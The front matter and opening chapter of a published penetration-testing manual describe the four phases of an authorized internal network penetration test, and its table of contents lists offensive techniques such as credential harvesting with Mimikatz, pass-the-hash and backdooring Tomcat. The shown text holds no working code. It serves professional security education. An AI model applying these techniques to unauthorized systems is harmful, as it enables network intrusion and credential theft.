M A N N I N G the art of How to take over any company in the world Includes free practice environment ROYCE DAVIS Phase 1: Information gathering Penetration tester MS17-010 MSSQL Server Apache Tomcat Jenkins Discover weaknesses Access vulnerable hosts Take over entire network Provide recommendations Final deliverable Findings and observations Engagement summary raditz.capsulecorp.local goku.capsulecorp.local Domain admin tien.capsulecorp.local gohan.capsulecorp.local trunks.capsulecorp.local vegeta.capsulecorp.local Actionable recommendations Phase 2: Focused penetration Phase 3: Privilege escalation Phase 4: Documentation Capsulecorp Inc. Internal Network Penetration Test LAN: 172.28.128.0/24 Active Directory: capsulecorp.local The Art of Network Penetration Testing HOW TO TAKE OVER ANY COMPANY IN THE WORLD ROYCE DAVIS M A N N I N G SHELTER ISLAND For online information and ordering of this and other Manning books, please visit www.manning.com. The publisher offers discounts on this book when ordered in quantity. For more information, please contact Special Sales Department Manning Publications Co. 20 Baldwin Road PO Box 761 Shelter Island, NY 11964 Email: orders@manning.com ©2020 by Manning Publications Co. All rights reserved. No part of this publication may be reproduced, stored in a retrieval system, or transmitted, in any form or by means electronic, mechanical, photocopying, or otherwise, without prior written permission of the publisher. Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in the book, and Manning Publications was aware of a trademark claim, the designations have been printed in initial caps or all caps. Recognizing the importance of preserving what has been written, it is Manning’s policy to have the books we publish printed on acid-free paper, and we exert our best efforts to that end. Recognizing also our responsibility to conserve the resources of our planet, Manning books are printed on paper that is at least 15 percent recycled and processed without the use of elemental chlorine. Manning Publications Co. Development editor: Toni Arritola 20 Baldwin Road Technical development editor: Karsten Strøbæk PO Box 761 Review editor: Mihaela Batinic Shelter Island, NY 11964 Production editor: Lori Weidert Copy editor: Tiffany Taylor Proofreader: Melody Dolab Technical proofreader: Giampeiro Granatella Typesetter: Gordan Salinovic Cover designer: Marija Tudor ISBN 9781617296826 Printed in the United States of America iii contents preface ix acknowledgments xii about this book xiii about the author xvi about the cover illustration xvii 1 Network penetration testing 1 1.1 Corporate data breaches 2 1.2 How hackers break in 3 The defender role 3 ■ The attacker role 3 1.3 Adversarial attack simulation: Penetration testing 4 Typical INPT workflow 5 1.4 When a penetration test is least effective 6 Low-hanging fruit 6 ■ When does a company really need a penetration test? 7 1.5 Executing a network penetration test 8 Phase 1: Information gathering 8 ■ Phase 2: Focused penetration 9 ■ Phase 3: Post-exploitation and privilege escalation 10 ■ Phase 4: Documentation 11 1.6 Setting up your lab environment 12 The Capsulecorp Pentest project 13 CONTENTS iv 1.7 Building your own virtual pentest platform 13 Begin with Linux 13 ■ The Ubuntu project 14 ■ Why not use a pentest distribution? 14 1.8 Summary 15 PHASE 1 INFORMATION GATHERING......................................17 2 Discovering network hosts 19 2.1 Understanding your engagement scope 21 Black-box, white-box, and grey-box scoping 22 ■ Capsulecorp 22 Setting up the Capsulecorp Pentest environment 24 2.2 Internet Control Message Protocol 24 Using the ping command 25 ■ Using bash to pingsweep a network range 26 ■ Limitations of using the ping command 28 2.3 Discovering hosts with Nmap 29 Primary output formats 30 ■ Using remote management interface ports 32 ■ Increasing Nmap scan performance 33 2.4 Additional host-discovery methods 35 DNS brute-forcing 35 ■ Packet capture and analysis 35 Hunting for subnets 36 2.5 Summary 37 3 Discovering network services 38 3.1 Network services from an attacker’s perspective 39 Understanding network service communication 40 ■ Identifying listening network services 42 ■ Network service banners 42 3.2 Port scanning with Nmap 43 Commonly used ports 44 ■ Scanning all 65,536 TCP ports 47 Sorting through NSE script output 49 3.3 Parsing XML output with Ruby 52 Creating protocol-specific target lists 57 3.4 Summary 58 4 Discovering network vulnerabilities 59 4.1 Understanding vulnerability discovery 60 Following the path of least resistance 61 4.2 Discovering patching vulnerabilities 62 Scanning for MS17-010 Eternal Blue 64 CONTENTS v 4.3 Discovering authentication vulnerabilities 65 Creating a client-specific password list 66 ■ Brute-forcing local Windows account passwords 68 ■ Brute-forcing MSSQL and MySQL database passwords 69 ■ Brute-forcing VNC passwords 72 4.4 Discovering configuration vulnerabilities 75 Setting up Webshot 75 ■ Analyzing output from Webshot 77 Manually guessing web server passwords 78 ■ Preparing for focused penetration 80 4.5 Summary 81 PHASE 2 FOCUSED PENETRATION..........................................83 5 Attacking vulnerable web services 85 5.1 Understanding phase 2: Focused penetration 86 Deploying backdoor web shells 87 ■ Accessing remote management services 87 ■ Exploiting missing software patches 88 5.2 Gaining an initial foothold 88 5.3 Compromising a vulnerable Tomcat server 89 Creating a malicious WAR file 90 ■ Deploying the WAR file 91 Accessing the web shell from a browser 92 5.4 Interactive vs. non-interactive shells 94 5.5 Upgrading to an interactive shell 94 Backing up sethc.exe 95 ■ Modifying file ACLs with cacls.exe 96 Launching Sticky Keys via RDP 97 5.6 Compromising a vulnerable Jenkins server 99 Groovy script console execution 100 5.7 Summary 101 6 Attacking vulnerable database services 102 6.1 Compromising Microsoft SQL Server 103 MSSQL stored procedures 104 ■ Enumerating MSSQL servers with Metasploit 105 ■ Enabling xp_cmdshell 106 Running OS commands with xp_cmdshell 108 6.2 Stealing Windows account password hashes 110 Copying registry hives with reg.exe 111 ■ Downloading registry hive copies 113 6.3 Extracting password hashes with creddump 115 Understanding pwdump’s output 116 6.4 Summary 117 CONTENTS vi 7 Attacking unpatched services 118 7.1 Understanding software exploits 119 7.2 Understanding the typical exploit life cycle 120 7.3 Compromising MS17-010 with Metasploit 121 Verifying that the patch is missing 122 ■ Using the ms17_010_psexec exploit module 124 7.4 The Meterpreter shell payload 125 Useful Meterpreter commands 127 7.5 Cautions about the public exploit database 130 Generating custom shellcode 130 7.6 Summary 132 PHASE 3 POST-EXPLOITATION AND PRIVILEGE ESCALATION......133 8 Windows post-exploitation 135 8.1 Fundamental post-exploitation objectives 136 Maintaining reliable re-entry 137 ■ Harvesting credentials 137 Moving laterally 137 8.2 Maintaining reliable re-entry with Meterpreter 138 Installing a Meterpreter autorun backdoor executable 139 8.3 Harvesting credentials with Mimikatz 141 Using the Meterpreter extension 141 8.4 Harvesting domain cached credentials 143 Using the Meterpreter post module 143 ■ Cracking cached credentials with John the Ripper 144 ■ Using a dictionary file with John the Ripper 146 8.5 Harvesting credentials from the filesystem 147 Locating files with findstr and where 148 8.6 Moving laterally with Pass-the-Hash 149 Using the Metasploit smb_login module 150 ■ Passing-the-hash with CrackMapExec 152 8.7 Summary 154 CONTENTS vii 9 Linux or UNIX post-exploitation 155 9.1 Maintaining reliable re-entry with cron jobs 156 Creating an SSH key pair 157 ■ Enabling pubkey authentication 159 ■ Tunneling through SSH 160 ■ Automating an SSH tunnel with cron 162 9.2 Harvesting credentials 163 Harvesting credentials from bash history 165 ■ Harvesting password hashes 166 9.3 Escalating privileges with SUID binaries 166 Locating SUID binaries with the find command 167 ■ Inserting a new user into /etc/passwd 169 9.4 Passing around SSH keys 171 Stealing keys from a compromised host 172 ■ Scanning multiple targets with Metasploit 172 9.5 Summary 174 10 Controlling the entire network 175 10.1 Identifying domain admin user accounts 178 Using net to query Active Directory groups 178 ■ Locating logged- in domain admin users 179 10.2 Obtaining domain admin privileges 180 Impersonating logged-in users with Incognito 182 ■ Harvesting clear-text credentials with Mimikatz 183 10.3 ntds.dit and the keys to the kingdom 184 Bypassing restrictions with VSC 185 ■ Extracting all the hashes with secretsdump.py 188 10.4 Summary 190 PHASE 4 DOCUMENTATION ...............................................191 11 Post-engagement cleanup 193 11.1 Killing active shell connections 195 11.2 Deactivating local user accounts 195 Removing entries from /etc/passwd 196 CONTENTS viii 11.3 Removing leftover files from the filesystem 196 Removing Windows registry hive copies 197 ■ Removing SSH key pairs 198 ■ Removing ntds.dit copies 199 11.4 Reversing configuration changes 199 Disabling MSSQL stored procedures 200 ■ Disabling anonymous file shares 201 ■ Removing crontab entries 201 11.5 Closing backdoors 202 Undeploying WAR files from Apache Tomcat 202 ■ Closing the Sticky Keys backdoor 204 ■ Uninstalling persistent Meterpreter callbacks 204 11.6 Summary 206 12 Writing a solid pentest deliverable 207 12.1 Eight components of a solid pentest deliverable 208 12.2 Executive summary 209 12.3 Engagement methodology 210 12.4 Attack narrative 211 12.5 Technical observations 211 Finding recommendations 214 12.6 Appendices 214 Severity definitions 214 ■ Hosts and services 215 ■ Tools list 216 ■ Additional references 216 12.7 Wrapping it up 216 12.8 What now? 218 12.9 Summary 218 appendix A Building a virtual pentest platform 221 appendix B Essential Linux commands 240 appendix C Creating the Capsulecorp Pentest lab network 247 appendix D Capsulecorp internal network penetration test report 254 appendix E Exercise answers 268 index 273 ix preface My name is Royce Davis, and I’m a professional hacker, red teamer, penetration tester, offensive security guy—we go by many names in this industry. For the past decade and change, I have been offering professional adversarial emulation services to a wide spectrum of clients in just about every business vertical you could imagine. Through- out that time, there has been no question in my mind which service companies are most interested in paying professional hackers to conduct. I’m talking, of course, about the internal network penetration test (INPT). The INPT is a complex enterprise engagement that can easily be summarized in a few sentences. An attacker (played by you) has managed to gain physical entry to a corporate office using any one of numerous and highly plausible techniques that are intentionally absent from the scope of this book. Now what? Armed with only a laptop loaded with hacker tools, and with no up-front knowledge of the company’s network infrastructure, the attacker penetrates as far as they can into the company’s corporate environment. Individual goals and objectives vary from engagement to engagement, company to company. Typically, though, a global domination scenario where you (the attacker) gain complete control of the network is more or less the primary objective driving an INPT. In my career, I’ve done hundreds of these engagements for hundreds of compa- nies ranging from small businesses with a single “IT guy” to Fortune-10 conglomerates with offices on every continent. What has surprised me the most during my journey is how simple the process is to take over a company’s network from the inside regardless of the specifics of the PREFACE x company’s size or industry vertical. It doesn’t matter if the target is a bank in South Dakota, a video game company in California, a chemical plant in Singapore, or a call center in London. The networks are all configured more or less the same way. Sure, the individual technologies, hardware, and applications are wildly different from organization to organization, but the use cases are the same. Businesses have employees who use devices to access centralized servers hosting documents and internal applications that the employees access using credentials to process requests, transactions, tickets, and information that ultimately help the com- pany operate and make money. As an attacker, no matter what my target is, my method for identifying network hosts, enumerating their listening services (their attack surface), and discovering security weaknesses within the authentication, config- uration, and patch mechanisms of those systems doesn’t change from engagement to engagement. After all these years and all these INPTs, I have decided to document my method- ology for performing INPTs and provide a comprehensive set of actionable guidelines that someone fairly new to penetration testing can follow in step-by-step fashion to conduct a proper penetration test on their own. It is solely my opinion that such a resource is not available or, at least, was not available at the time I wrote this book. Lots of professional training and certification programs exist that offer students a wide variety of valuable skills and techniques. I have hired and trained many such stu- dents, but even after graduating from the toughest and most highly respected training programs, many students don’t really know how to do a penetration test. That is, I can’t say to them, “OK, you’ve got a gig with client XYZ starting next Monday; here’s the statement of work (SOW),” without them staring at me like a deer in headlights. My commitment to you regarding this book is simple. If someone tasks you with performing a real network penetration test targeting a real network with hundreds or even thousands of computer systems, and if that engagement is scoped more or less in alignment with what I’ll later describe as a “typical” INPT, you can satisfy the require- ments of that engagement by following the steps laid out in this book—even if you’ve never done a penetration test before. Now, if you’re a hacker dude/dudette and you’re reading this out of pure enjoy- ment for the subject matter, you’ll definitely ask questions like, “What about wireless attacks?” and “How come you don’t cover anti-virus bypass?” and “Where is the section on buffer overflows?” and more. My message to you is that in the professional world of adversarial emulation services, companies hire individuals to perform scoped engage- ments. The no-holds-barred, anything-goes approach, as exciting as it sounds, rarely (if ever) happens. This book, rather than touching briefly on every topic related to ethical hacking, is a complete start-to-finish manual for conducting an entire INPT. It has everything you need to be successful in conducting the most common type of engagement you’ll be asked to perform should you enter a career in professional penetration testing. PREFACE xi When you’re finished reading this book and working through the lab exercises, you’ll possess a competency in a skill that companies pay entry-level employees six- figure salaries to perform. It is my personal opinion that other titles in this space aim to cover too broad a spectrum, and as a result, they can devote only a single chapter to each topic. In this book, you’ll be laser-focused on a single task: taking over an enterprise network. I hope you’re ready, because you’re going to learn a lot, and I think you’ll be surprised by what you can do once you’ve reached the end of the last chapter. Good luck! xii acknowledgments To my wife Emily and my daughters Lily and Nora: Thank you sincerely, from the bot- tom of my heart, for putting up with me while I was writing this book. It has been a long journey of discovery with numerous ups and downs. Thank you for believing in me and for never making me feel like my ambitions were a burden to you. To my editor, Toni: Thank you for your patience and your guidance throughout the writing process. Thank you for always challenging me and for helping me to think of my readers instead my ego. In no particular order, thank you to Brandon McCann, Tom Wabiszczewicz, Josh Lemos, Randy Romes, Chris Knight, and Ivan Desilva. You’ve taught me more than you know throughout various stages of my career, and I look up to you as friends and mentors to this day. To all the reviewers: Andrew Courter, Ben McNamara, Bill LeBorgne, Chad Davis, Chris Heneghan, Daniel C. Daugherty, Dejan Pantic, Elia Mazzuoli, Emanuele Picci- nelli, Eric Williams, Flavio Diez, Giampiero Granatella, Hilde Van Gysel, Imanol Vali- ente Martín, Jim Amrhein, Leonardo Taccari, Lev Andelman, Luis Moux, Marcel van den Brink, Michael Jensen, Omayr Zanata, Sithum Nissanka, Steve Grey-Wilson, Steve Love, Sven Stumpf, Víctor Durán, and Vishal Singh, your suggestions helped make this a better book. xiii about this book The Art of Network Penetration Testing is a complete walkthrough of a typical internal network penetration test (INPT). The book covers a step-by-step methodology that the author has used to conduct hundreds of INPTs for companies of all sizes. It serves less as a conceptual introduction to theories and ideas and more as a manual that readers with little or no experience can use to guide them throughout an entire engagement. Who should read this book This book is written primarily for would-be penetration testers and ethical hackers. That said, anyone working within the design, development, or implementation of sys- tems, applications, and infrastructure should read this book. How this book is organized: A roadmap This book is divided into four parts, each one correlated to one of four phases used to conduct a typical INPT. The book should be read in order from start to finish, as each phase of the INPT workflow builds off of the outputs from the previous phase. Phase 1 explains the information-gathering phase of an INPT, which provides you with a detailed understanding of your target’s attack surface: ■ Chapter 2 introduces you to the process of discovering network hosts within a given IP address range. ■ Chapter 3 explains how to further enumerate the network services listening on hosts that you discovered in the previous chapter. ABOUT THIS BOOK xiv ■ Chapter 4 covers several techniques for identifying authentication, configura- tion, and patching vulnerabilities in network services. Phase 2 goes into the next phase, focused penetration, where your goal is to gain unauthorized access to compromised targets by using security weaknesses or “vulnera- bilities” identified in the previous phase: ■ Chapter 5 shows how to compromise multiple vulnerable web applications, spe- cifically Jenkins and Apache Tomcat. ■ Chapter 6 describes how to attack and penetrate a vulnerable database server and retrieve sensitive files from non-interactive shells. ■ Chapter 7 explores the coveted topic of exploiting a missing Microsoft Security Update and using the open-source Metasploit meterpreter payload. Phase 3 deals with post-exploitation, which is what an attacker does after they’ve com- promised a vulnerable target. It introduces the three main concepts—maintaining reliable re-entry, harvesting credentials, and moving laterally to newly accessible (level-2) systems: ■ Chapter 8 covers post-exploitation in Windows-based systems. ■ Chapter 9 talks about various post-exploitation techniques for Linux/UNIX targets. ■ Chapter 10 walks through the process of elevating to domain admin privileges and safely extracting the “crown jewels” from a Windows Domain controller. Phase 4 wraps up the engagement with the cleanup and documentation portions of an INPT: ■ Chapter 11 shows you how to go back and remove unnecessary, potentially harmful artifacts from your engagement testing activities. ■ Chapter 12 talks about the eight components of a solid pentest deliverable. Experienced penetration testers might prefer to jump around to particular sections of interest to them, such as Linux/UNIX post-exploitation or attacking vulnerable data- base servers. If you’re new to network penetration testing, though, you should abso- lutely read the chapters sequentially from start to finish. About the code This book contains a great deal of command line output, both in numbered listings and in line with normal text. In both cases, source code is formatted in a fixed-width font like this to separate it from ordinary text. The code for the examples in this book is available for download from the Manning website at https://www.manning.com/books/the-art-of-network-penetration-testing and from GitHub at https://github.com/R3dy/capsulecorp-pentest. ABOUT THIS BOOK xv liveBook discussion forum Purchase of The Art of Network Pentration includes free access to a private web forum run by Manning Publications where you can make comments about the book, ask technical questions, and receive help from the author and from other users. To access the forum, go to https://livebook.manning.com/#!/book/the-art-of-network-penetration-testing/ discussion. You can also learn more about Manning’s forums and the rules of conduct at https://livebook.manning.com/#!/discussion. Manning’s commitment to our readers is to provide a venue where a meaningful dialogue between individual readers and between readers and the author can take place. It is not a commitment to any specific amount of participation on the part of the author, whose contribution to the forum remains voluntary (and unpaid). We sug- gest you try asking the author some challenging questions lest his interest stray! The forum and the archives of previous discussions will be accessible from the publisher’s website as long as the book is in print. xvi about the author ROYCE DAVIS is a professional hacker specializing in network penetration testing and enterprise adversarial attack emulation. He has been helping clients secure their net- work environments for more than a decade and has presented research, techniques, and tools at security conferences all over the United States. He has contributed to open source security testing tools and frameworks and is the co-founder of PentestGeek.com, an ethical hacking training and education online resource. xvii about the cover illustration The figure on the cover of The Art of Network Penetration Testing is captioned “Habit d’un Morlaque d’Uglin en Croatie,” or “Clothing of a Morlaque man from the island of Ugljan, in Croatia.” The illustration is taken from a collection of dress costumes from various countries by Jacques Grasset de Saint-Sauveur (1757–1810), titled Cos- tumes de Différents Pays, published in France in 1797. Each illustration is finely drawn and colored by hand. The rich variety of Grasset de Saint-Sauveur’s collection reminds us vividly of how culturally apart the world’s towns and regions were just 200 years ago. Isolated from each other, people spoke different dialects and languages. In the streets or in the countryside, it was easy to identify where they lived and what their trade or station in life was just by their dress. The way we dress has changed since then and the diversity by region, so rich at the time, has faded away. It is now hard to tell apart the inhabitants of different conti- nents, let alone different towns, regions, or countries. Perhaps we have traded cultural diversity for a more varied personal life—certainly for a more varied and fast-paced technological life. At a time when it is hard to tell one computer book from another, Manning cele- brates the inventiveness and initiative of the computer business with book covers based on the rich diversity of regional life of two centuries ago, brought back to life by Grasset de Saint-Sauveur’s pictures. 1 Network penetration testing Everything today exists digitally within networked computer systems in the cloud. Your tax returns; pictures of your kids that you take with a cellphone; the locations, dates, and times of all the places you’ve navigated to using your GPS—they’re all there, ripe for the picking by an attacker who is dedicated and skilled enough. The average enterprise corporation has 10 times (at least) as many connected devices running on its network as it does employees who use those devices to con- duct normal business operations. This probably doesn’t seem alarming to you at first, considering how deeply integrated computer systems have become in our soci- ety, our existence, and our survival. This chapter covers  Corporate data breaches  Adversarial attack simulations  When organizations don’t need a penetration test  The four phases of an internal network penetration test 2 CHAPTER 1 Network penetration testing Assuming that you live on planet Earth—and I have it on good authority that you do—there’s a better than average chance you have the following:  An email account (or four)  A social media account (or seven)  At least two dozen username/password combinations you’re required to man- age and securely keep track of so that you can log in and out of the various web- sites, mobile apps, and cloud services that are essential in order for you to function productively every day. Whether you’re paying bills, shopping for groceries, booking a hotel room, or doing just about anything online, you’re required to create a user account profile contain- ing at the very least a username, a legal name, and an email address. Often, you’re asked to provide additional personal information, such as the following:  Mailing address  Phone number  Mother’s maiden name  Bank account and routing number  Credit card details We’ve all become jaded about this reality. We don’t even bother to read the legal notices that pop up, telling us precisely what companies plan to do with the informa- tion we’re giving them. We simply click “I Agree” and move on to the page we’re trying to reach—the one with the viral cat video or the order form to purchase an adorable coffee mug with a sarcastic joke on the side about how tired you feel all the time. Nobody has time to read all that legal mumbo jumbo, especially when the free shipping offer expires in just 10 minutes. (Wait—what’s that? They’re offering a rewards program! I just have to create a new account really fast.) Perhaps even more alarming than the frequency with which we give random internet companies our pri- vate information is the fact that most of us naively assume that the corporations we’re interacting with are taking the proper precautions to house and keep track of our sen- sitive information securely and reliably. We couldn’t be more wrong. 1.1 Corporate data breaches If you haven’t been hiding under a rock, then I’m guessing you’ve heard a great deal about corporate data breaches. There were 943 disclosed breaches in the first half of 2018 alone, according to Breach Level Index, a report from Gemalto (http://mng.bz/YxRz). From a media-coverage perspective, most breaches tend to go something like this: Global Conglomerate XYZ has just disclosed that an unknown number of confidential customer records have been stolen by an unknown group of malicious hackers who managed to penetrate the company’s restricted network perimeter using an unknown vulnerability or attack vector. The full extent of the breach, including everything the hackers made off with, is—you guessed it—unknown. Cue the tumbling stock price, a 3 How hackers break in flood of angry tweets, doomsday headlines in the newspapers, and a letter of resigna- tion from the CEO as well as several advisory board members. The CEO assures us this has nothing to do with the breach; they’ve been planning to step down for months now. Of course, somebody has to take the official blame, which means the Chief Information Security Officer (CISO) who’s given many years to the company doesn’t get to resign; instead, they’re fired and publicly stoned to death on social media, ensuring that—as movie directors used to say in Hollywood—they’ll never work in this town again. 1.2 How hackers break in Why does this happen so often? Are companies just that bad at doing the right things when it comes to information security and protecting our data? Well, yes and no. The inconvenient truth of the matter is that the proverbial deck happens to be stacked disproportionally in favor of cyber-attackers. Remember my earlier remark about the number of networked devices that enterprises have connected to their infrastructure at all times? This significantly increases a company’s attack surface or threat landscape. 1.2.1 The defender role Allow me to elaborate. Suppose it’s your job to defend an organization from cyber- threats. You need to identify every single laptop, desktop, smartphone, physical server, virtual server, router, switch, and Keurig or fancy coffee machine that’s connected to your network. Then you have to make sure every application running on those devices is properly restricted using strong passwords (preferably with two-factor authentication) and hardened to conform to the current standards and best practices for each respective device. Also, you need to make sure you apply every security patch and hotfix issued by the individual software vendors as soon as they become available. Before you can do any of that, though, you have to triple-check that the patches don’t break any of your business’s day-to-day operations, or people will get mad at you for trying to pro- tect the company from hackers. You need to do all of this all of the time for every single computer system with an IP address on your network. Sounds easy, right? 1.2.2 The attacker role Now for the flip side of the coin. Suppose your job is to break into the company—to compromise the network in some way and gain unauthorized access to restricted sys- tems or information. You need to find only a single system that has slipped through the cracks; just one device that missed a patch or contains a default or easily guessable password; a single nonstandard deployment that was spun up in a hurry to meet an impossible business deadline driven by profit targets, so an insecure configuration set- ting (which shipped that way by default from the vendor) was left on. That’s all it takes to get in, even if the target did an impeccable job of keeping track of every node on 4 CHAPTER 1 Network penetration testing the network. New systems are stood up daily by teams who need to get something done fast. If you’re thinking to yourself that this isn’t fair, or that it’s too hard for defenders and too easy for attackers, then you get the point: that’s exactly how it is. So, what should organizations do to avoid being hacked? This is where penetration testing comes in. 1.3 Adversarial attack simulation: Penetration testing One of the most effective ways for a company to identify security weaknesses before they lead to a breach is to hire a professional adversary or penetration tester to simulate an attack on the company’s infrastructure. The adversary should take every available action at their disposal to mimic a real attacker, in some cases acting almost entirely in secret, undetected by the organization’s IT and internal security departments until it’s time to issue their final report. Throughout this book, I’ll refer to this type of offensive- security exercise simply as a penetration test. The specific scope and execution of a penetration test can vary quite a bit depend- ing on the motivations of the organization purchasing the assessment (the client) as well as the capabilities and service offerings of the consulting firm performing the test. Engagements can focus on web and mobile applications, network infrastructure, wireless implementations, physical offices, and anything else you can think of to attack. Emphasis can be placed on stealth while trying to remain undetected or on gathering vulnerability information about as many hosts as possible in a short time. Attackers can use human hacking (social engineering), custom-exploit code, or even dig through the client’s dumpster looking for passwords to gain access. It all depends on the scope of the engagement. The most common type of engagement, however, is one that I have performed for hundreds of companies over the past decade. I call it an internal network penetration test (INPT). This type of engagement simulates the most dangerous type of threat actor for any organization: a malicious or otherwise compro- mised insider. DEFINITION Threat actor is a fancy way of saying attacker. It refers to anyone attempting to harm an organization’s information technology assets. During an INPT, you assume that the attacker was able to successfully gain physical entry into a corporate office or perhaps was able to obtain remote access to an employee’s workstation through email phishing. It is also possible that the attacker vis- ited an office after hours, posing as a custodial worker, or during the day, posing as a vendor or flower delivery person. Maybe the attacker is an actual employee and used a badge to walk in the front door. There are countless ways to gain physical entry to a business, which can be easily demonstrated. For many businesses, an attacker simply needs to walk through the main entrance and wander around while smiling politely at anyone who passes, appearing to have a purpose or talking on a cell phone until they identify an unused area where they can plug into a data port. Professional companies offering high-caliber penetration 5 Adversarial attack simulation: Penetration testing testing (pentest) services typically bill anywhere from $150 to $500 per hour. As a result, it’s often cheaper for the client purchasing the penetration test to skip this part and place the attacker on the internal subnet from the beginning. Either way, the attacker has managed to get access to the internal network. Now, what can they do? What can they see? A typical engagement assumes that the attacker knows nothing about the internal network and has no special access or credentials. All they have is access to the network—and coincidentally, that’s usually all they need. 1.3.1 Typical INPT workflow A typical INPT consists of four phases executed in order, as depicted in figure 1.1. The individual names of each phase are not written in stone, nor should they be. One pentest company might use the term reconnaissance in place of information gathering. Another company might use the term delivery in place of documentation. Regardless of what each phase is called, most people in the industry agree on what the penetration tester should do during each phase.  Phase 1—Information gathering a Map out the network. b Identify possible targets. c Enumerate weaknesses in the services running on those targets.  Phase 2—Focused penetration a Compromise vulnerable services (gain unauthorized access to them). Typical internal network penetration test (INPT) Phase 1: Information gathering Phase 2: Focused penetration Phase 4: Documentation A. Discover network hosts B. Enumerate listening services C. Discover vulnerable attack surfaces Phase 3: Post-exploitation and privilege escalation A. Establish reliable re-entry B. Harvest credentials C. Move laterally (level 2) Identify privileged user accounts Elevate to domain admin A. Gather evidence/screenshots B. Create linear attack narratives C. Create final deliverable Compromise vulnerable hosts (level 1) Exploit missing software patches Deploy custom executable payloads Access remote management interfaces (RMI) Figure 1.1 The four phases of a network penetration test 6 CHAPTER 1 Network penetration testing  Phase 3—Post-exploitation; privilege escalation a Identify information on compromised systems that can be used to further access (pivoting). b Elevate privileges to the highest level of access on the network, effectively becoming the company’s system administrator.  Phase 4—Documentation a Gather evidence. b Create the final deliverable. Once the testing portion of the engagement has concluded, the penetration tester now makes a mental shift from that of an adversary and transitions into a consultant. They spend the rest of the engagement creating as detailed a report as possible. That report contains the specific explanation of all the ways they were able to breach the network and bypass security controls as well as the detailed steps the company can take to close these identified gaps and ensure that they can no longer be exploited by anyone. In 9 out of 10 cases, this process takes about 40 hours on average, but the time required can vary depending on the size of the organization. 1.4 When a penetration test is least effective You may have heard the familiar saying, “To a hammer, every problem looks like a nail.” Turns out you can apply this saying to just about any profession. A surgeon wants to cut, a pharmacist wants to prescribe a pill, and a penetration tester wants to hack into your network. But does every organization truly need a penetration test? The answer is that it depends on the level of maturity within a company’s informa- tion security program. I can’t tell you how many times I’ve been able to take over a company’s internal network on the first day of a penetration test, but the number is in the hundreds. Of course, I would love to tell you that this is because of my super leet hacker skillz or that I’m just that good, but that would be a gross exaggeration of the truth. It has a lot more to do with an exceedingly common scenario: an immature organi- zation that isn’t even doing the basics is sold an advanced-level penetration test when it should be starting with a simple vulnerability assessment or a high-level threat model and analysis gig. There is no point in conducting a thorough penetration test of all your defense capabilities if there are gaping holes in your infrastructure security that even a novice can spot. 1.4.1 Low-hanging fruit Attackers often seek out the path of least resistance and try to find easy ways into an environment before breaking out the big guns and reverse-engineering proprietary software or developing custom zero-day exploit code. Truth be told, your average pen- etration tester doesn’t know how to do something that complex, because it’s never been a skill they’ve needed to learn. No need to go that route when easy ways in are 7 When a penetration test is least effective widespread throughout most corporations. We call these easy ways in low-hanging fruit (LHF). Some examples include the following:  Default passwords/configurations  Shared credentials across multiple systems  All users having local administrator rights  Missing patches with publicly available exploits There are many more, but these four are extremely common and extremely danger- ous. On a positive note, though, most LHF attack vectors are the easiest to remediate. Make sure you’re doing a good job with basic security concepts before hiring a profes- sional hacker to attack your network infrastructure. Organizations with significant numbers of LHF systems on their network shouldn’t bother paying for a “go-all-out” penetration test. It would be a better use of their time and money to focus on basic security concepts like strong credentials everywhere, reg- ular software patching, system hardening and deployment, and asset cataloging. 1.4.2 When does a company really need a penetration test? If a company is wondering whether it should do a penetration test, I advise answering the following questions honestly. Start with simple yes/no answers. Then, for every yes answer, the company should see if it can back up that answer with, “Yes, because of internal process/procedure/application XYZ, which is maintained by employee ABC”: 1 Is there an up-to-date record of every IP address and DNS name on the network? 2 Is there a routine patching program for all operating systems and third-party applications running on the network? 3 Do we use a commercial vulnerability scan engine/vendor to perform routine scans of the network? 4 Have we removed local administrator privileges on employee laptops? 5 Do we require and enforce strong passwords on all accounts on all systems? 6 Are we utilizing multi-factor authentication everywhere? If your company can’t answer a solid yes to all of these questions, then a decent pene- tration tester would probably have little to no trouble breaking in and finding your organization’s crown jewels. I’m not saying you absolutely shouldn’t buy a penetration test, just that you should expect painful results. It may be fun for the penetration tester; they may even brag to their friends or col- leagues about how easily they penetrated your network. But I am of the opinion that this provides very little value to your organization. It’s analogous to a person never exercising or eating a healthy diet and then hiring a fitness coach to look at their body and say, “You’re out of shape. That’ll be $10,000, please.” 8 CHAPTER 1 Network penetration testing 1.5 Executing a network penetration test So, you’ve gone through all the questions and determined that your organization needs a network penetration test. Good! What’s next? Up to now, I’ve discussed pene- tration testing as a service that you would typically pay a third-party consultant to con- duct on your behalf. However, more and more organizations are building internal red teams to conduct these types of exercises on a routine basis. DEFINITION Red team—A specialized subset of an organization’s internal secu- rity department, focused entirely on offensive security and adversarial attack- simulation exercises. Additionally, the term red team is often used to describe a specific type of engagement that is considered as realistic as possible, simulat- ing advanced attackers and using a goal-oriented, opportunistic approach rather than a scope-driven methodology I’m going to make an assumption from here on that you’ve been or you’re hoping to be placed in a role that would require you to perform a penetration test for the com- pany you work for. Maybe you have even done a handful of penetration tests already but feel like you could benefit from some additional guidance and direction. My intention in writing this book is to provide you with a “start-to-finish” methodol- ogy that you can use to conduct a thorough INPT, targeting your company or any other organization from which you receive written authorization to do so. You’ll learn the same methodology that I have matured over a decades-long career and used to successfully and safely execute hundreds of network penetration tests tar- geting many of the largest companies in the world. This process for executing con- trolled, simulated cyber-attacks that mimic real-world internal breach scenarios has proved successful in uncovering critical weaknesses in modern enterprise networks across all vertices. After reading this book and working through the companion exer- cises, you should have the confidence to execute an INPT, regardless of the size or industry of the business you’re attacking. You will work through the four phases of my INPT methodology using the virtual Capsulecorp Pentest network that I have set up as a companion to this book. Each of the four phases is broken into several chapters demonstrating different tools, techniques, and attack vectors that penetration testers use frequently during real engagements. 1.5.1 Phase 1: Information gathering Imagine the engineers who designed the entire corporate network sitting down with you and going over a massive diagram, explaining all the zones and subnets, where everything is, and why they did it that way. Your job during phase 1, the information- gathering phase of a penetration test, is to come as close as you can to that level of understanding without the network engineers’ help (figure 1.2). The more informa- tion you gain, the better your chances of identifying a weakness. Throughout the first few chapters of this book, I’ll teach you how to gather all of the information about the target network that is necessary for you to break in. You’ll 9 Executing a network penetration test learn how to perform network mapping using Nmap and discover live hosts within a given IP address range. You’ll also discover listening services that are running on net- work ports bound to those hosts. Then you’ll learn to interrogate these individual ser- vices for specific information, including but not limited to the following:  Software name and version number  Current patch and configuration settings  Service banners and HTTP headers  Authentication mechanisms In addition to using Nmap, you’ll also learn how to use other powerful open source pentest tools such as the Metasploit framework CrackMapExec (CME), Impacket, and many others to further 